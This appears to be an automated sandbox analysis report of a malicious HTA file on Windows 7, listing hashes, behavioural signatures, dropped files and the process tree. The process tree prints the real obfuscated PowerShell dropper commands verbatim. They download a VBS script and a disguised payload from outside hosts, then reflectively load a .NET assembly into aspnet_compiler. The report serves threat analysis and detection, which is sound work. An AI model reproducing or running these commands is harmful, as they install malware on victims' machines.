Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    15-11-2024 17:13

General

  • Target

    kissmegoodthingwhichgivemebestthignswithgirluaremy.hta

  • Size

    178KB

  • MD5

    43f15554d66e784d988aa2da3ed2a136

  • SHA1

    6d0fb362a8aa62a046e25435e6a525e2ca61492d

  • SHA256

    5c7f1d6ac7671a1b1764dba808cf52f5c5c48ce1cbd0f1c16d8f6cf0afe5d3c8

  • SHA512

    2c06f6a513bd10d648dfec384fc1056b0e8f39a830e0671f9098961076de61ac7db5e0dc7724a7ffd403a4769b90324aeb785d0b16c13dfe7dd24342a9460cd9

  • SSDEEP

    96:4vCl17J1YiZVGTVy1YiZQGTVMFxfwVXNewJrC1YiZo1YiZDjGTVs1YiZkQ:4vCldfhjGTOheGTqHwShohxjGTYhuQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\kissmegoodthingwhichgivemebestthignswithgirluaremy.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2828
    • C:\Windows\SysWOW64\wiNdOwSPowErSHelL\v1.0\poWErSHELL.EXE
      "C:\Windows\SYsTem32\wiNdOwSPowErSHelL\v1.0\poWErSHELL.EXE" "POwERshelL.ExE -eX bYpasS -NOP -w 1 -C DeVIceCrEdENTialdEPLOYMeNT ; InVOke-expRESSioN($(InVokE-eXpReSsioN('[systEM.text.encoDinG]'+[ChAr]0x3A+[ChaR]0x3A+'UtF8.getSTRing([system.conVeRt]'+[chaR]0X3a+[Char]0x3A+'fROMbASE64sTrinG('+[CHAR]0X22+'JHc4Mm1RRCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iRVJkRUZJTmlUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTG1PTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHZ2J5dVJqRE9ULHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN6S3pyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwVVIsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHpYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidUdVV29mIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5UW9Oc3ZVWVFmICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3ODJtUUQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzMyL3NlZW15YmVzdHRoaW5nc3dpdGhlbnRpcmVsaWZldGltZXRoaW5nc3RvZG9teWJlc3QudElGIiwiJGVOdjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3dpdGhlbnRpcmVsaWZldGltZXRoaW5nc3RvZG9teWIudmJTIiwwLDApO1NUYXJULXNMZUVQKDMpO2lleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcc2VlbXliZXN0dGhpbmdzd2l0aGVudGlyZWxpZmV0aW1ldGhpbmdzdG9kb215Yi52YlMi'+[ChAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpasS -NOP -w 1 -C DeVIceCrEdENTialdEPLOYMeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2764
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2wlxg1wp.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C1C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC6C1B.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:800
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestthingswithentirelifetimethingstodomyb.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1228
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHZFckJPU2VQUkVmRVJlbkNlLlRPc3RyaW5nKClbMSwzXSsneCctSm9JbicnKSAoKCdwd2dpbWFnZVVybCcrJyAnKyc9IG9UQWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiJysnMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgb1RBOycrJ3B3Z3dlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7cHdnaW1hZ2VCeXRlcyA9IHB3Z3dlYkNsaWVudC5Eb3dubCcrJ29hZERhdGEocHdnaW1hZ2VVcmwpO3B3Z2ltYWdlVGV4dCA9IFtTeXN0ZW0uVCcrJ2V4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHB3Z2ltYWdlQnl0ZXMpO3B3Z3N0YXJ0RmxhZyA9IG9UQTw8QkFTRTY0XycrJ1NUQVJUPj5vVEE7cHdnZW5kRmxhZyA9IG9UQTw8QkFTRTY0X0VORD4+b1RBO3B3Z3N0YXJ0SW5kZXggPSBwd2dpbWFnZVRleHQuSW5kZXhPZihwd2dzdGFydEZsYWcpO3B3Z2VuZEluZGV4ID0gcHdnaW1hZ2VUZXh0LkluZGV4JysnT2YocHdnZW5kRmxhZyk7cHdnJysnc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHB3Z2VuZEluZGV4IC1ndCBwd2dzdGFydEluZGV4O3B3Z3N0YXJ0SW5kZXggKz0gcHdnc3RhcnRGbGFnLkxlbmd0aDtwd2diYXNlNjRMZW5ndGggPSBwd2dlbmRJbmRleCAtIHB3Z3N0YXJ0SW5kZXg7cHdnYmFzZTY0Q29tbWFuZCcrJyA9IHB3Z2ltYWdlVGV4dC5TdWJzdHJpbmcocHdnc3RhcnRJbmRleCwgcHdnYmFzZTY0TGVuZ3RoKTtwd2diYXNlNjRSZXZlcnNlZCA9IC1qb2luIChwd2diYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgNG91IEZvckVhY2gtT2JqZWN0IHsgcHdnXyB9KVstMS4uLShwd2diYXNlNjRDb21tYW5kLkxlbmd0aCldO3B3Z2NvbScrJ21hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocHdnYmFzZTY0UmV2ZXJzZWQpO3B3Z2xvYWRlZEFzc2VtYmwnKyd5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChwd2djb21tYW5kQnl0ZXMpO3B3Z3ZhaU1ldGhvZCA9IFtkbicrJ2xpYi5JTy5Ib21lXS5HJysnZXRNZXRob2Qob1RBVkFJb1RBKTtwd2d2YWknKydNZXRob2QuSW52b2tlKHB3JysnZ251bGwsIEAob1RBdHh0LlNMTFBNUy8yMy82MzEuMzQyLjMuMjkxLy86cHR0aG9UQSwgb1RBZGVzYXRpdmFkb29UQSwnKycgb1RBZGVzJysnYXRpdmFkb29UQSwgb1RBZGVzYXQnKydpdmFkb29UQSwgb1RBYXNwbmV0X2NvbXBpbGVyb1RBLCBvVEFkJysnZXNhdGl2YWRvb1RBLCBvVEFkZXNhdGl2YWRvb1RBLG9UQWRlc2F0aXZhZG9vVEEsb1RBZGVzYXRpdmFkJysnb29UQSxvVEFkZScrJ3NhdGl2YWRvb1RBLG9UQWRlc2F0aXZhZG9vVEEsb1RBZGVzYXRpJysndmFkb29UQSxvVCcrJ0Exb1RBLG9UJysnQWRlc2F0aXZhZG9vVEEpKTsnKS5SZXBMQWNlKCdwd2cnLFtTVHJJbmddW0NoQXJdMzYpLlJlcExBY2UoKFtDaEFyXTExMStbQ2hBcl04NCtbQ2hBcl02NSksW1NUckluZ11bQ2hBcl0zOSkuUmVwTEFjZSgoW0NoQXJdNTIrW0NoQXJdMTExK1tDaEFyXTExNyksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2968
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $vErBOSePREfERenCe.TOstring()[1,3]+'x'-JoIn'') (('pwgimageUrl'+' '+'= oTAhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb'+'209c62c1730945176a0904f oTA;'+'pwgwebClient = New-Object System.Net.WebClient;pwgimageBytes = pwgwebClient.Downl'+'oadData(pwgimageUrl);pwgimageText = [System.T'+'ext.Encoding]::UTF8.GetString(pwgimageBytes);pwgstartFlag = oTA<<BASE64_'+'START>>oTA;pwgendFlag = oTA<<BASE64_END>>oTA;pwgstartIndex = pwgimageText.IndexOf(pwgstartFlag);pwgendIndex = pwgimageText.Index'+'Of(pwgendFlag);pwg'+'startIndex -ge 0 -and pwgendIndex -gt pwgstartIndex;pwgstartIndex += pwgstartFlag.Length;pwgbase64Length = pwgendIndex - pwgstartIndex;pwgbase64Command'+' = pwgimageText.Substring(pwgstartIndex, pwgbase64Length);pwgbase64Reversed = -join (pwgbase64Command.To'+'CharArray() 4ou ForEach-Object { pwg_ })[-1..-(pwgbase64Command.Length)];pwgcom'+'mandBytes = [System.Convert]::FromBase64String(pwgbase64Reversed);pwgloadedAssembl'+'y = [System.Reflection.Assembly]::Load(pwgcommandBytes);pwgvaiMethod = [dn'+'lib.IO.Home].G'+'etMethod(oTAVAIoTA);pwgvai'+'Method.Invoke(pw'+'gnull, @(oTAtxt.SLLPMS/23/631.342.3.291//:ptthoTA, oTAdesativadooTA,'+' oTAdes'+'ativadooTA, oTAdesat'+'ivadooTA, oTAaspnet_compileroTA, oTAd'+'esativadooTA, oTAdesativadooTA,oTAdesativadooTA,oTAdesativad'+'ooTA,oTAde'+'sativadooTA,oTAdesativadooTA,oTAdesati'+'vadooTA,oT'+'A1oTA,oT'+'AdesativadooTA));').RepLAce('pwg',[STrIng][ChAr]36).RepLAce(([ChAr]111+[ChAr]84+[ChAr]65),[STrIng][ChAr]39).RepLAce(([ChAr]52+[ChAr]111+[ChAr]117),'|'))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2316

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\2wlxg1wp.dll

    Filesize

    3KB

    MD5

    065fed08115f6bbd6bb3487573d20e8c

    SHA1

    6b7122bf21ee22e5b3ccb1b2214726d99caecb2d

    SHA256

    413a238800d97fea48c2799337756f78e0527a2885d5a1fd451519e228c0baba

    SHA512

    0b6405cafb7a472487b8ee54ddeb7f85ab206e4c2db908b01cd7685451934acdfbaa8bd25b0d94c214bfe334447ef39f364fd10b975ce686d4c01ffd513683d5

  • C:\Users\Admin\AppData\Local\Temp\2wlxg1wp.pdb

    Filesize

    7KB

    MD5

    68a4ff7ca98ce90fdbcd72210e10410a

    SHA1

    15825f0b99357b9334c24ecef2d2b07298db0253

    SHA256

    384736d07e6409532f1cf353f55d0cbd5da3bc21483a173222c4c171dc28c8d6

    SHA512

    afd300f08cb51838f4197a786f59136947619d7455481d0a675257901d125b3f29b1e425edb79116635536342c616e41a517f941fc6d97b28ffa5bfa85e5235d

  • C:\Users\Admin\AppData\Local\Temp\RES6C1C.tmp

    Filesize

    1KB

    MD5

    e488e7bb0c982d945451699063ad8752

    SHA1

    55dba8ccac210f492c1b19137bf4d1d0973df511

    SHA256

    f0b38c44eeb26b4a8fc5f8bdedc4cf2c2b44068e9b82fa7e8965820501a12f3e

    SHA512

    3027d14ba2038c58125b3aaa367ef3be34c84c5ca5420e90804c75b434d35b4965e8b388440416bac7ae6aa17e0d148a8897e16744928273549efae16e1df277

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    2381663dd097fc58251eb78a17e6712d

    SHA1

    be46ea11b658cc00a9bdf807a73e4442e8611f9f

    SHA256

    03e84e1c29b564e29ddf6a6304daf816bd36a24257f5aec81f2e2055ea81290f

    SHA512

    e168aee532a317ca9dabdab38134badee97045686b17c1e9b78a314f478dff299fb0d5f3cab3c090d859c90c95b139fb37107b2b301aef67a26d3748388646c0

  • C:\Users\Admin\AppData\Roaming\seemybestthingswithentirelifetimethingstodomyb.vbS

    Filesize

    138KB

    MD5

    100d059d24305dc95db276aa180dc4cf

    SHA1

    cb2e9d345f365a0dc65b61cf40865b223c4688ad

    SHA256

    87be9d53a554146bcbab91270c1ef35561f5168e6f84ea86c26d23b4c803247d

    SHA512

    14f70627cbb1adbb26d511d92558c471ca5354a1d0fa54a33d22d7c4933b6e1873871750f53318cd9c8d4e8b3f7627bac2f4bac3f295a67e2d35756ad951c8f5

  • \??\c:\Users\Admin\AppData\Local\Temp\2wlxg1wp.0.cs

    Filesize

    476B

    MD5

    405282350b57e6d41b6d58a029558c64

    SHA1

    6c50ec9dd86fa438a3bc1af48a3b49f1bc364e49

    SHA256

    11a1bdc49e30fac7bc2cbebd22d8f4f072a449141ddd7e197f85ccb2ab331506

    SHA512

    5f45c0c1451fe0c044138c44b3708baf9468df7d91d1201dc05fcef629f9cab8fd9f66cc14a37c62a189829f1de22d4a1135813226bff45181283f59706de351

  • \??\c:\Users\Admin\AppData\Local\Temp\2wlxg1wp.cmdline

    Filesize

    309B

    MD5

    a466b4cba4d44d5b52ae7df0c6abe807

    SHA1

    7fdfe379844b9aac477c7d88eb59131c9f5efbe9

    SHA256

    7c8dfd8226d468a34815e2802c8cc4e97ab2d5750855299505605e0a8c48a42d

    SHA512

    fe8a43ec7c0e0bc0ba0483f60d5a00d3297b8df04bf2523917f5aacedd054753341a26aec913fc12c368d2ef8d3ee8bde7b95e5fe8307e3963f7dc5af1842e9f

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC6C1B.tmp

    Filesize

    652B

    MD5

    2098a69cb99250e1a69a4b864883b8d9

    SHA1

    40d6d57ce618d1da5edce27b11e07a684e49ee0e

    SHA256

    11301723b2190fe9879f7580b841da15bac21122966cbb56d8cc0a69371265e9

    SHA512

    6a952268660d5ed003ab7821ccc1f8164cceb27e5812c8d0e24f951d3f7f7e37bed438840b11a90298d9364c95273b94de391cbfa0245b8d68596073e5e5742b